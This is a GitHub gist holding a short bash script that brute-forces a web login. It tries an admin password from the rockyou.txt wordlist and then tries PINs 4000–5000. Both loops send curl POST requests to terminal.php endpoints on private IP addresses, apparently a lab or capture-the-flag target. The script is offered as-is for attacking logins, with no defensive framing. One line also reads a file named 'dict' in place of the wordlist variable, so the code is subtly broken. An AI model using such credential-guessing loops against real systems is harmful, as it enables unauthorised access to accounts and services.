Skip to content

Instantly share code, notes, and snippets.

@JassonCordones
Created February 27, 2026 16:42
Show Gist options
  • Select an option

  • Save JassonCordones/3670865a1f5cbf00b04c4d1096a2441e to your computer and use it in GitHub Desktop.

Select an option

Save JassonCordones/3670865a1f5cbf00b04c4d1096a2441e to your computer and use it in GitHub Desktop.
Example Loop to attack a login
target=http://10.64.183.25/terminal.php?action=login
dict=~/Downloads/rockyou.txt
for pass in $(cat dict); do
user=admin
echo "Trying user: $user & pass: $pass"
response=$(curl -A "secretcomputer" -s -X POST -d "username=$user&password=$pass" "$target")
echo "$response"
if echo "$response" | jq -e '.status != "fail"'; then
echo "[+] Password found: $pass"
break
fi
done
for pin in {4000..5000}; do
echo "Trying pin: $pin"
response=$(curl -A "secretcomputer" -s -X POST -d "pin=$pin" http://10.67.181.132/terminal.php?action=pin)
echo "$response"
if echo "$response" | jq -e '.status != "fail"'; then
echo "[+] Pin found: $pin"
break
fi
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment